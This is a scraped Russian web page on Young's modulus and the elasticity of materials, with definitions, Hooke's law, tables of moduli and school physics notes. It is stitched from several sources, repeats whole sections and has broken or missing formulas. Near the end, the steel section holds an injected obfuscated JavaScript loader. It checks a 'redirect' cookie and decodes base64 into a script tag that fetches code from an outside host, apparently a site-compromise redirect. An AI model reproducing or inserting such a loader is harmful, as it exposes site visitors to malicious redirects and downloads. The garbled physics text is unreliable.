Wabashpress.ru

Техника Гидропрессы
1 просмотров
Рейтинг статьи
1 звезда2 звезды3 звезды4 звезды5 звезд
Загрузка...

Модуль Юнга

Модуль Юнга

Мо́дуль Ю́нга (модуль продольной упругости) — физическая величина, характеризующая свойства материала сопротивляться растяжению, сжатию при упругой деформации [1] .

Назван в честь английского физика XIX века Томаса Юнга.

В динамических задачах механики модуль Юнга рассматривается в более общем смысле — как функционал деформируемой среды и процесса.

Модуль Юнга рассчитывается следующим образом:

 E = frac<F/S data-lazy-src=

  • S— площадь поверхности, по которой распределено действие силы,
  • l— длина деформируемого стержня,
  • Delta l— модуль изменения длины стержня в результате упругой деформации (измеренного в тех же единицах, что и длина l).
  • Через модуль Юнга вычисляется скорость распространения продольной волны в тонком стержне:

    c = sqrtfrac<E data-lazy-src=

    Содержание

    Связь с другими модулями упругости [ править ]

    В случае изотропного тела модуль Юнга связан с модулем сдвига Gи модулем объёмной упругости Kсоотношениями

    G=frac<E data-lazy-src=

    Значения модуля Юнга для некоторых материалов [ править ]

    Значения модуля Юнга для некоторых материалов приведены в таблице [2]

    Материалмодуль Юнга E, ГПа
    Алюминий70
    Бронза75-125
    Вольфрам350
    Германий83
    Дюралюминий74
    Иридий520
    Кадмий50
    Кобальт210
    Константан163
    Кремний109
    Латунь95
    Лёд3
    Магний45
    Манганин124
    Медь110
    Никель210
    Олово35
    Свинец18
    Серебро80
    Серый чугун110
    Сталь200
    Стекло70
    Титан112
    Фарфор59
    Цинк120
    Хром300

    См. также [ править ]

    • Закон Гука
    • Модуль сдвига

    Примечания [ править ]

    1. Модули упругости – Статьи в Физическом энциклопедическом словаре и Физической энциклопедии.
    2. Анурьев В. И. Справочник конструктора-машиностроителя в 3т. Т. 1/В. И. Анурьев; 8-е изд., перераб и доп. Под ред. И. Н. Жестковой — М.: Машиностроение, 2001. — С. 34. ISBN 5-217-02963-3

    Литература [ править ]

    • Волькенштейн В. С. Сборник задач по общему курсу физики / В. С. Волькенштейн. — СПб.: Лань, 1999. — 328 с.

    Ссылки [ править ]

    • Квазистатический модуль Юнга (код на Mathcad).
    • Модуль упругости I рода
    Это заготовка статьи по физике. Вы можете помочь проекту, дополнив её.
    • Добавить иллюстрации.К:ВП: Статьи без изображений (тип: )К:ВП: Статьи без изображений (указано в Викиданных)
    • Проставив сноски, внести более точные указания на источники.

    Объёмный модуль упругости (K) | Модуль Юнга (E) | Параметры Ламе (lambda) | Модуль сдвига (G) | Коэффициент Пуассона (nu) | en:P-wave modulus (M)

    Модуль юнга в системе си

    модуль Юнга — Термин, используемый как синоним модуля упругости. Отношение растягивающих или сжимающих напряжений к конечной деформации. [http://www.manual steel.ru/eng a.html] Тематики металлургия в целом EN Young’s modulus … Справочник технического переводчика

    модуль Юнга — [Young s modulus] назван по имени английского ученого Томаса Юнга; коэффициент пропорциональности Е, связывающий истинное (условное) напряжение δ (а) и истинную (условную) деформацию ε (Б) при одноосном деформировании в случае справедливости… … Энциклопедический словарь по металлургии

    модуль Юнга — tampros modulis statusas T sritis Standartizacija ir metrologija apibrėžtis Statmenojo įtempio ir santykinės ilginės deformacijos dalmuo, t. y. E = σ/ε; čia σ – statmenasis įtempis, ε – santykinė ilginė deformacija. atitikmenys: angl. coefficient … Penkiakalbis aiškinamasis metrologijos terminų žodynas

    Модуль Юнга — Young s modulus Модуль Юнга. Термин, используемый как синоним модуля упругости. Отношение растягивающих или сжимающих напряжений к конечной деформации. См. также Modulus of elasticity Модуль упругости. (Источник: «Металлы и сплавы. Справочник.»… … Словарь металлургических терминов

    модуль Юнга — tampros modulis statusas T sritis chemija apibrėžtis Įtempio ir santykinės deformacijos santykis. atitikmenys: angl. Young modulus; modulus of elasticity rus. модуль упругости; модуль Юнга ryšiai: sinonimas – Jungo modulis … Chemijos terminų aiškinamasis žodynas

    модуль Юнга — Jungo modulis statusas T sritis fizika atitikmenys: angl. Yong’s modulus vok. Youngscher Modul, m rus. модуль Юнга, m pranc. module d’Young, m; module d’élasticité d’Young, m … Fizikos terminų žodynas

    Модуль Юнга — то же что, модуль продольной упругости Е; см. Модули упругости … Большая советская энциклопедия

    МОДУЛЬ ЮНГА — См. Модуль упругости грунта … Словарь по гидрогеологии и инженерной геологии

    МОДУЛЬ ЮНГА-Е (МОДУЛЬ ПРОДОЛЬНОЙ УПРУГОСТИ ) — равен отношению нормального напряжения ρ к относительному удлинению ε, вызванному этим напряжением в направлении его действия E = ρ/ε; характеризует способность тел (г. п., м лов) сопротивляться деформация растяжения или… … Геологическая энциклопедия

    Модуль юнга в системе си

    Модуль Юнга (синонимы: модуль упругости I рода, модуль продольной упругости) – механическая характеристика материалов, определяющая их способность сопротивляться продольным деформациям. Показывает степень жесткости материала.

    Назван в честь английского ученого Томаса Юнга.

    Обозначается латинской прописной буквой E
    Единица измерения – Паскаль [Па].

    В сопротивлении материалов модуль продольной упругости участвует в расчетах на жесткость при растяжении-сжатии и изгибе, а также в расчетах на устойчивость.

    Учитывая то, что практически все конструкционные материалы имеют значение E высокого порядка (как правило 10 9 Па), его размерность часто записывают с помощью кратной приставки «гига» (гигапаскаль [ГПа])

    Для всех материалов его величину можно определить в ходе эксперимента по определению модуля упругости I рода.

    Приближенно значение модуля можно определить по диаграмме напряжений получаемой при испытаниях на растяжение.

    Модуль юнга в системе си

    Рис. 1 Начальный фрагмент диаграммы напряжений

    В этом случае модуль Юнга равен отношению нормальных напряжений к соответствующим относительным деформациям, на участке диаграммы (рис. 1) до предела пропорциональности σ пц (тангенсу угла α наклона участка пропорциональности к оси деформаций ε ).

    В таблице 1 приведены сравнительные значения модуля для некоторых наиболее часто используемых материалов

    Перевод единиц измерения модулей упругости, модулей Юнга (E), предела прочности, модулей сдвига (G), предела текучести

    Таблица перевода единиц измерения Па; МПа; бар; кг/см 2; psf; psi

    Подробный список единиц давления (да, эти единицы совпадают с единицами измерения давления по размерности, но не совпадают по смыслу:)

    Модуль Юнга для стали и других материалов

     модуль юнга это

    Любая величина должна и может быть измерена, даже такая специфическая, как упругость разного рода материалов. К примеру, необходимо рассчитать, как именно деформируется и при этом какое окажется сопротивление то или иное изделие в той или иной ситуации. Тогда необходимо прибегнуть к специальной единице измерения — модулю Юнга и таблице измерений для конкретного вида металла.

    Описание и характеристики единицы измерения

    Наименование величины степени жесткости было дано по имени его создателя — английского известного физика, который проводил исследования в области сжатия и растяжения различных жестких материалов, а также в процессах, которые проходят при механическом воздействии. О модуле Юнга справедливо упомянуть следующее:

    • это такая единица измерения, которая в цифровом выражении показывает продольную упругость материала какой-либо конструкции;
    • эта величина выражает в числах свойства конкретной материи;
    • отображает характер его деформации в продольном направлении при оказываемым воздействии.

    А если совсем просто, то эта единица измерения просто показывает, насколько жесткий конкретный материал.

    Буква Е является обозначением модуля Юнга. Согласно отечественной системе расчетов, измерение этой величины происходит в Паскалях. При этом Международная система единиц высчитывает эту величину в ньютонах, умноженных на метр в квадрате (СИ).

    Модуль продольной жёсткости применяется при разного рода вычислениях во время проверки структур веществ на степень реакции при сжатии, растяжении, перегибании.

    Следует отметить, что наибольшее количество конструкционных материалов, которые используют в таких расчетах, имеет довольно высокий показатель модуля Юнга. Чаще всего его значение начинается от отметки 109 Паскалей. В связи с этим в большинстве случаев для удобства записывания вычислений и самих расчетов применяют префикс «гига» (ГПа).

    В задачах по динамике модуль Юнга воспринимается и учитывается в гораздо большем смысле, чем просто показатель жесткости. В этой области науки данное понятие рассматривается как гораздо более общий показатель — перечень возможностей стройматериалов и как среда прохождения процесса реакции их структуры на деформацию.

    Показатели продольной эластичности

    Для определенных конструкционных материалов, довольно часто используемых для достижения конкретных практических результатов, существуют уже выверенные показатели, сведенные в одну таблицу. В частности, от их параметров устойчивости к механическим воздействиям может зависеть срок службы строительных конструкций и прочих сооружений.

    В соответствии с указанной таблицей, наивысший показатель модуля жесткости относится к стали, а наименьший — к древесным породам.

    Модуль юнга таблица

    Цифровое установление модуля Юнга происходит с применением особой, специально рассчитанной диаграммы напряжения. Там указывается специфическая кривая, которая получается при множественных тестированиях каждого из отдельно взятых стройматериалов на устойчивость к механическим воздействиям.

    В таком случае физическое значение модуля продольной эластичности состоит в установлении математически точного отношения средних показателей напряжения к соответственным параметрам деформации на отдельно взятом отрезке диаграммы до конкретных, заранее установленных границ соразмерности.

    Расчет поперечной жесткости

    В форме точного выражения модуль Юнга рассчитывается таким способом: Е=q / е=tga.

    Необходимо также упомянуть и о таком моменте, что модуль Юнга представляет собой еще и коэффициент пропорциональности и был применен в математическом описании закона Гука. Там великим ученым он был указан в таком математическом выражении: Q=Eе.

    В связи с этим прямая связь модуля продольной эластичности с вымеряемыми параметрами поперечных разрезов материалов, которые участвуют в тестированиях на твердость, обнаруживается посредством таких выражений, как ЕА и Е1. При этом:

    Модуль юнга для стали

    • ЕА обозначает степень жесткости при сжатии или растяжении вещества или строительного материала в поперечнике;
    • показатель A — величину площади стержневого разреза;
    • Е1 — это показатель твердости при сгибании материи в ее поперечном сечении;
    • индекс 1 обозначает осевой фактор инерции, возникающий в разрезе тестируемого материала.

    Таким образом, податливость материалов при растяжении свидетельствует о способности и самого материала, и изделия, выполненного из него, подвергаться линейному изгибанию. К примеру, при строительных работах это позволит более адекватно подобрать материал в зависимости от его назначения.

    Из всего этого можно понять, что модуль Юнга представляет собой универсальную величину, благодаря которой появляется возможность разносторонне и с высокой точностью вычислять и охарактеризовывать качественные характеристики и параметры различных материалов.

    Жесткость образца. Модуль Юнга.

    Сейчас мы впервые приступаем к рассмотрению твёрдых тел с точки зрения молекулярно кинетической теории. Конечно же, твёрдые тела разительным образом отличаются от газов, а тем более идеальных газов, по своей структуре и свойствам, однако мы всё равно можем, пользуясь уже имеющимися знаниями, описать их.

    Во-первых, вспомним, какое определение твёрдым телам вводилось в младших классах:

    Определение. Твёрдые тела – тела, которые со временем не меняют своей формы и объёма. Теперь же для расширения теории о твёрдых телах мы введём классификацию твёрдых тел. Твёрдые тела делятся на…

    1. Кристаллы (кристаллические тела)

    2. Аморфные тела

    3. Композиты (композитные тела) (рис. 1)

    Рис. 1. Примеры кристаллических (соль) и аморфных (воск) твёрдых тел соответственно (Источник), (Источник)

    Рассмотри кристаллические тела:

    Определение. Кристаллы– твёрдые тела, у которых наблюдается упорядоченное расположение атомов или молекул (см. рис. 2).

    Рис. 2. Пример кристаллической решётки (каменная соль) (Источник)

    Кристаллы, в свою очередь, также делятся на два класса:

    1. Монокристаллы, то есть вся структура тела представлена единым кристаллом (алмаз, рубин, сапфир…)

    2. Поликристаллы, то есть структура тела представляет собой объёдинение большого количества малых кристаллов (гранит, большинство металлов…)

    Следует также знать, что кристаллическая структура не является свойством, характерным для одних химических элементов или соединений, а для других нехарактерным. Дело в том, что многие твёрдые тела обладают так называемым свойством полиморфизма.

    Определение. Полиморфизм– свойство твёрдых тел существовать в состоянии с различной кристаллической решёткой. Например, уже приводимые на одном из прошлых уроков в качестве примера алмаз и графит оба состоят из углерода, однако с различным расположением его атомов.

    Кристаллы могут быть распределены на две группы также и по следующим свойствам: изотропия и анизотропия.

    Определение. Анизотропия– зависимость физических свойств кристалла от направления. То есть кристаллическая структура не симметрична, и существует несколько осей, вдоль которых у кристалла проявляются различные свойства (механические, электрические, оптические). Анизотропия свойственна монокристаллам.

    Изотропия – независимость физических свойств кристалла от направления. Свойственна поликристаллам, потому как несимметрические монокристаллы ориентируются хаотически, сводя на нет несимметричность.

    Ещё одним принципом, по которому можно классифицировать кристаллы, является природа связей, которые удерживают узлы кристаллической решётки вместе:

    1. Молекулярные связи характерны для кристаллов с очень низкой механической твёрдостью (кристаллы на основе водорода и гелия)

    2. Ковалентные связи характерны, напротив, для кристаллов с высокой прочностью (алмаз)

    3. Ионные связи (соли)

    4. Металлические связи (металлы)

    Аморфные тела

    Перейдём к рассмотрению аморфных тел:

    Определение.Аморфные тела – тела, не имеющие строгой кристаллической решётки, бесформенные тела (смола, стекло, графит…). Аморфные тела ещё называют переохлаждёнными вязкими жидкостями в связи с тем, что у них нет строгой температуры плавления, потому как нет явного перехода от твёрдого состояния до жидкого: с увеличением температуры аморфные тела стают только более текучими, а свойство текучести сохраняется у них даже при низких температурах.

    Перейдём к рассмотрению композитных тел:

    Композитные тела

    Определение. Композитные тела – искусственно созданные твёрдые тела, состоящие из жёсткой матрицы и нитевидного кристаллического наполнителя. Благодаря разнообразным комбинированиям этих двух составляющих, можно получать желаемую прочность, гибкость, упругость и т. д. материала.

    Рассмотрим теперь такой физический процесс, как деформация, и опишем различные её разновидности.

    Деформация

    Определение. Деформация– изменение формы или объёма твёрдого тела. Различают пять видов деформаций:

    1. Растяжение – увеличение расстояния между молекулярными рядами

    2. Сжатие – уменьшение расстояния между молекулярными рядами

    3. Сдвиг – смещение молекулярных рядов друг относительно друга без изменения расстояния между ними

    4. Кручение – поворот молекулярных рядов друг относительно друга

    5. Изгиб – комбинация деформаций сжатия и растяжения

    Закон Гука

    Совершенно очевидно, что для того, чтобы произвести деформацию тела, необходимо приложить силу. Но, по третьему закону Ньютона, со стороны тела будет действовать сила противодействия, или, как её назвали, сила упругости. Существует закон, позволяющий определить величину этой силы в зависимости от величины деформации. Этот закон носит имя Роберта Гука – английского учёного (рис. 3). Но прежде, чем вывести его, сформулируем некоторые параметры материала и деформации.

    Определение. Абсолютная деформация (сдвига) — :

    Здесь: — конечная длина тела; — начальная длина тела.

    Относительная деформация – :

    Механическое напряжение – :

    Здесь: — сила упругости, действующая внутри тела; — площадь сечения тела, перпендикулярного к направлению вектора силы.

    Закон Роберта Гука в общем виде выглядит следующим образом:

    Здесь: — модуль Юнга или модуль упругости, табличная величина, характеризующая упругие качества вещества.

    Увидим теперь, как можно связать вышеприведённую формулировку закона Гука со знакомой нам ещё из курса динамики:

    Подставим в формулу закона Гука в общем виде все определения для нововведенных величин:

    Выразим из этого выражения силу:

    Очень важным является тот факт, что, во-первых, закон Гука, сформулированный на этом уроке, является более общим, нежели известный нам ранее, а во-вторых, закон Гука выполним только при небольших деформациях.

    Рис. 3. Роберт Гук (Источник)

    Диаграмма растяжений

    Для иллюстрации деформационных качеств твёрдого тела очень хорошо подходит диаграмма растяжений, то есть график зависимости механического напряжения от относительной деформации (см рис. 4).

    Рис. 4. Диаграмма растяжений

    Участок ОА называется участком упругости, то есть при растяжениях, попадающих в этот участок, после снятия напряжения с образца тело принимает свою первоначальную форму и объём. Значение механического напряжения в точке А называется механическим напряжением пропорциональности. Участок СD, напротив, называется областью текучести, и при деформации большей, чем значение в точке C, деформация становится эластичной, то есть тело не возвращается в начальное состояние после снятия напряжения. Именно по величине этой зоны определяется устойчивость образца к разрыву. Значение механического напряжения в точке E называется пределом прочности и соответствует той границе, при переходе которой образец разрушается.

    В технике часто используется понятие «коэффициент безопасности».

    Определение. Коэффициент безопасности – отношение механического напряжения пропорциональности к максимальному механическому напряжению, которое испытывает деталь, строение.

    Жидкие кристаллы

    Особенный интерес представляют собой тела, называющиеся жидкими кристаллами.

    Определение. Жидкие кристаллы – тела, одновременно обладающие свойствами кристаллов (упорядоченное строение молекул и атомов) и жидкостей (текучесть). Важнейшее свойство жидких кристаллов – оптическая анизотропия, то есть неодинаковое прохождение света по разным направлениям.

    Все жидкие кристаллы разделены на три типа (рис. 5):

    1. Нематики – кристаллы имеют нитевидную структуру

    2. Смектики – представляют собой некие мыльные растворы

    3. Холестерики – содержат в своём составе холестерин

    Рис. 5. Схема ориентации молекул различных типов жидких кристаллов (Источник)

    Механические свойства твердых тел

    Сила упругости возникает при деформации тела, обусловлена электромагнитными силами взаимодействия составляющих его частиц. При небольшом внешнем воздействии атомы выходят из состояния равновесия и стремятся вернуться в исходное положение. Сила упругости направлена противоположно деформации.

    Возьмем медную проволоку длиной l и площадью поперечного сечения S. Подвесим груз, под действием силы тяжести проволока удлинится на

    Относительное удлинение

    При деформации растяжения , при сжатии — .

    Жесткость образца. Модуль Юнга.

    Модуль Юнга характеризует упругие свойства вещества. Это постоянная величина, зависящая только от материала, его физического состояния. Физический смысл модуля Юнга: он численно равен напряжению, которое возникло бы в образце при относительной деформации, равной единице. Характеризует способность материала сопротивляться деформации растяжения или сжатия. Значение модуля Юнга табличное.

    Модуль юнга для стали и других материалов

    Мо́дуль Ю́нга
    (модуль продольной упругости) — физическая величина, характеризующая способность материала сопротивляться растяжению, сжатию при упругой деформации[1]. Обозначается большой буквой
    Е
    .

    Назван в честь английского физика XIX века Томаса Юнга.

    В динамических задачах механики модуль Юнга рассматривается в более общем смысле — как функционал деформируемой среды и процесса.

    В Международной системе единиц (СИ) измеряется в ньютонах на квадратный метр или в паскалях. Является одним из модулей упругости.

    Модуль Юнга рассчитывается следующим образом:

    • F — нормальная составляющая силы,
    • S — площадь поверхности, по которой распределено действие силы,
    • l — длина деформируемого стержня,
    • Δ l — модуль изменения длины стержня в результате упругой деформации (измеренного в тех же единицах, что и длина l ).

    Через модуль Юнга вычисляется скорость распространения продольной волны в тонком стержне:

    где ρ — плотность вещества.

    Температурная зависимость модуля Юнга[ | ]

    Температурная зависимость модуля упругости простых кристаллических материалов объясняется исходя из того, что модуль упругости M ( T ) определяется как вторая производная от внутренней энергии W ( T ) по соответствующей деформации E ( T ) = d 2 W ( T ) d ε 2 W(T) over dvarepsilon ^<2>>> . Поэтому при температурах T ≤ Θ D > ( Θ D > — температура Дебая) температурная зависимость модуля упругости определяется простым соотношением

    M ( T ) = M 0 − M 1 T − M 2 T 2 -M_<1>T-M_<2>T^<2>>

    где M 0 > — адиабатический модуль упругости идеального кристалла при T ⟶ 0 K ; M 1 T T> — дефект модуля, обусловленный тепловыми фононами; M 2 T 2 T^<2>> — дефект модуля, обусловленный тепловым движением электронов проводимости[2]

    Общее понятие

    При любом внешнем воздействии на предмет, внутри его возникают встречные силы, компенсирующие внешние. Для идеальных систем, находящихся в равновесии, силы равномерно распределены и равны, что позволяет сохранить форму предмета. Реальные системы не подчиняются таким правилам, что может привести к их деформации. Оценивая прочность материалов, говорят об их упругости.


    Определение модуля Юнга твердых тел
    Упругие материалы – это те, которые после прекращения внешнего воздействия, восстанавливают свою первоначальную форму.

    Внутренние силы распределены равномерно по всей площади поперечного сечения предмета, имеют свою интенсивность, которая выражается количественно, называется напряжением (р) и измеряется в Н/м2 или по международной системе Па.

    Напряжение имеет свою пространственную направленность: перпендикулярно площади сечения предмета – нормальное напряжение (σz) и лежащая в плоскости сечения – касательное напряжение (τz).


    Опыт с пружинными весами

    Модуль упругости (Е) как единицу измерения отношения материала к линейной деформации, и нормальное напряжение связывает формула закона Гука:

    где ε – относительное удлинение или деформация.

    Преобразовав формулу (1) для выражения из нее нормального напряжения, можно увидеть, что Е является постоянной при относительном удлинении, и называется коэффициентом жесткости, а его единицы измерения Па, кгс/мм2 или Н/м2:

    Модуль упругости – это единица измерения отношения напряжения, создаваемого в материале, к линейной деформации, такой как, растяжение и сжатие.

    В справочных материалах размерность модуля упругости выражается в МПа, так как деформация имеет довольно малое значение. А зависимость между этими величинами обратно пропорциональная. Таким образом, Е имеет высокое значение, определяемое 107-109.

    Значения модуля Юнга для некоторых материалов[ | ]

    Значения модуля Юнга для некоторых материалов приведены в таблице

    Материалмодуль Юнга E, ГПаИсточник
    Алюминий70[3]
    Бронза75—125[3]
    Вольфрам350[3]
    Германий83[3]
    Графен1000[4]
    Дюралюминий74[3]
    Железо180[5]
    Иридий520[3]
    Кадмий50[3]
    Кобальт210[3]
    Константан163[3]
    Кремний109[3]
    Латунь95[3]
    Лёд3[3]
    Магний45[3]
    Манганин124[3]
    Медь110[3]
    Никель210[3]
    Ниобий155[6]
    Олово35[3]
    Свинец18[3]
    Серебро80[3]
    Серый чугун110[3]
    Сталь190—210[3]
    Стекло70[3]
    Титан112[3]
    Фарфор59[3]
    Цинк120[3]
    Хром300[3]

    Показатели продольной эластичности

    Для определенных конструкционных материалов, довольно часто используемых для достижения конкретных практических результатов, существуют уже выверенные показатели, сведенные в одну таблицу. В частности, от их параметров устойчивости к механическим воздействиям может зависеть срок службы строительных конструкций и прочих сооружений.

    В соответствии с указанной таблицей, наивысший показатель модуля жесткости относится к стали, а наименьший — к древесным породам.

    Цифровое установление модуля Юнга происходит с применением особой, специально рассчитанной диаграммы напряжения. Там указывается специфическая кривая, которая получается при множественных тестированиях каждого из отдельно взятых стройматериалов на устойчивость к механическим воздействиям.

    В таком случае физическое значение модуля продольной эластичности состоит в установлении математически точного отношения средних показателей напряжения к соответственным параметрам деформации на отдельно взятом отрезке диаграммы до конкретных, заранее установленных границ соразмерности.

    Примечания[ | ]

    1. Модули упругости
      — Статьи в Физическом энциклопедическом словаре и Физической энциклопедии.
    2. Л.Н. Паль-Валь, Ю.А. Семеренко, П.П. Паль-Валь, Л.В. Скибина, Г.Н. Грикуров.
      Исследование акустических и резистивных свойств перспективных хромо-марганцевых аустенитных сталей в области температур 5-300 К // Конденсированные среды и межфазные границы. — 2008. — Т. 10, вып. 3. — С. 226—235.
    3. 1234567891011121314151617181920212223242526Анурьев В. И.
      Справочник конструктора-машиностроителя в 3т. Т. 1/В. И. Анурьев; 8-е изд., перераб и доп. Под ред. И. Н. Жестковой — М.: Машиностроение, 2001. — С. 34. ISBN 5-217-02963-3
    4. Галашев А. Е., Рахманова О. Р.
      Устойчивость графена и материалов на его основе при механических и термических воздействиях // Успехи физических наук. — М.: РАН, ФИАН, 2014. — Т. 184, вып. 10. — С. 1051.
    5. В.Д. Нацик, П.П. Паль-Валь, Л.Н. Паль-Валь, Ю.А. Семеренко.
      Низкотемпературный a-пик внутреннего трения в ниобии и его связь с релаксацией кинков на дислокациях // ФНТ. — 2001. — Т. 27, вып. 5. — С. 547—557.
    6. П.П. Паль-Валь, В.Д. Нацик, Л.Н. Паль-Валь, Ю.А. Семеренко.
      Нелинейные акустические эффекты в монокристаллах ниобия, обусловленные дислокациями // ФНТ. — 2004. — Т. 30, вып. 1. — С. 115—125.

    Как определить модуль упругости стали

    Выяснить модули упругости для различных марок стали можно несколькими путями:

    1. по справочным данным из таблиц;
    2. экспериментальными методами для небольшого образца;
    3. расчетными методами, зная необходимые данные.

    Жесткость стали зависит от ее химического состава и вида кристаллической решетки, от плотности, достигнутой в результате обработки. Прочность же ее конструкций определяется такими важными факторами, как параметры изделия, в том числе габариты, эксплуатационные нагрузки, и их длительность. При расчетах, выполняемых по нормированным методикам, результат осознанно завышают, чтобы предупредить возможные аварии и поломки.

    Тем не менее, устойчивость стали к деформации определяется изначально ее маркой, то есть наличием примесей в сплаве.

    В таблице приведены модули упругости стали наиболее популярных марок, а модуль сдвига ее составляет – 80-81 ГПа.

    СтальМодуль (Е), ГПа
    углеродистая195-205
    легированная206-235
    Ст.3, Ст.5210
    сталь 45200
    25Г2С, 30ХГ2С200

    Из таблицы видно, что наименьшее значение прочности у стали 45, 25Г2С, 30ХГ2С, а у нержавеющей стали самое высокое – 235 ГПа.

    Экспериментальный метод определения заключается в определении относительного удлинения небольшого стального образца на установке, с последующим расчетом.

    В основе метода лежит заключение, что растяжение образца стали до предела упругости, подчиняется закону Гука (1). Зная приложенную силу (F) и площадь детали (А), выяснив ее удлинение (Δl) можно рассчитать Е:

    Расчеты ведут в мм и МПа.

    Для проектирования конструкций необходимо всегда знать или просчитывать не менее двух разных модулей упругости. Исходя из коэффициента жесткости можно перейти к другим видам сопротивления к воздействию извне для стали: упругости при изгибе и объемной.

    Грамотный подбор материала, с учетом его прочности при эксплуатации, а также другие конструкторские расчеты, — основа любого проектного и строительного процесса. Полнота представления протекающих процессов внутри материалов, поможет рационально их использовать и возводить безопасные сооружения. function getCookie(e)()[]\/+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0>var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time)

    Механические свойства

    Только при работе на растяжение или сжатие модуль (Юнга) упругости помогает угадать поведение того или иного материала. А вот при изгибе, срезе, смятии и прочих нагрузках потребуется ввести дополнительные параметры:

    Читать также: Все о сварке полуавтоматом

    1. Жёсткостью называют произведение поперечного сечения профиля на модуль упругости. По этой величине можно судить о пластичности узла конструкции в целом, а не о материале отдельно. Единицей измерения являются килограммы силы.
    2. Продольное относительное удлинение — это отношение абсолютного удлинения материала-образца к его общей длине. К примеру, на стержень, длина которого равна 200 миллиметров, приложили некоторую силу. В результате он стал короче на 5 миллиметров. В результате относительное удлинение будет равняться 0,05. Эта величина безразмерная. Для более удобного восприятия иногда её переводят в проценты.
    3. Поперечное относительное удлинение рассчитывается точно так же, как и продольное относительное удлинение, но вместо длины берут диаметр стержня. Опытным путём было установлено, что для большего количества материала поперечное меньше продольного удлинения приблизительно в 4 раза.
    4. Коэффициент Пуассона. Это отношения относительной продольной к относительной поперечной деформации. При помощи этой величины можно полностью описать под воздействием нагрузки изменения формы.
    5. Модуль сдвига описывает упругие свойства под воздействием касательных свойств на образец. Иными словами, когда вектор силы направляется к поверхности тела под 90 градусов. Примером подобных нагрузок служит работа гвоздей на смятие, заклёпок на срез и пр. Этот параметр связан с вязкостью материала.
    6. Модуль упругости объёмной характеризует изменение объёма образца для разностороннего равномерного приложения нагрузки. Эта величина является отношением давления объёмного к деформации сжатия объёмной. Как пример можно рассматривать опущенный в воду материал, на который воздействует давление жидкости по всей его площади.

    Кроме всего вышесказанного стоит упомянуть, что у некоторых материалов в зависимости от направления нагрузки разные механические свойства. Подобные материалы называются анизотропными. Примерами подобного является ткани, некоторые виды камня, слоистые пластмассы, древесина и прочее.

    У материалов изотропных механические свойства и деформация упругая в любом направлении одинаковы. К таким материалам относятся металлы: алюминий, медь, чугун, сталь и прочее, а также каучук, бетон, естественные камни, пластмассы неслоистые.

    Предел прочности материала

    Это предел возникающего напряжения, после которого образец начинает разрушаться.

    Статический предел прочности измеряется при продолжительном приложении деформирующего усилия, динамический — при кратковременном, ударном характере такого усилия. Для большинства веществ динамический предел больше, чем статический.

    Инструмент для определения предела прочности

    Кроме того, существуют пределы прочности на сжатие материала и на растяжение. Они определяются на испытательных стенда опытным путем, при растягивании или сжатии образцов мощными гидравлическим машинами, снабженными точными динамометрами и измерителями давления. В случае невозможности достижения требуемого давления гидравлическим способом иногда применяют направленный взрыв в герметичной капсуле.

    голоса
    Рейтинг статьи
    Читайте так же:
    Сварка на полуавтоматических машинах
    Ссылка на основную публикацию
    Adblock
    detector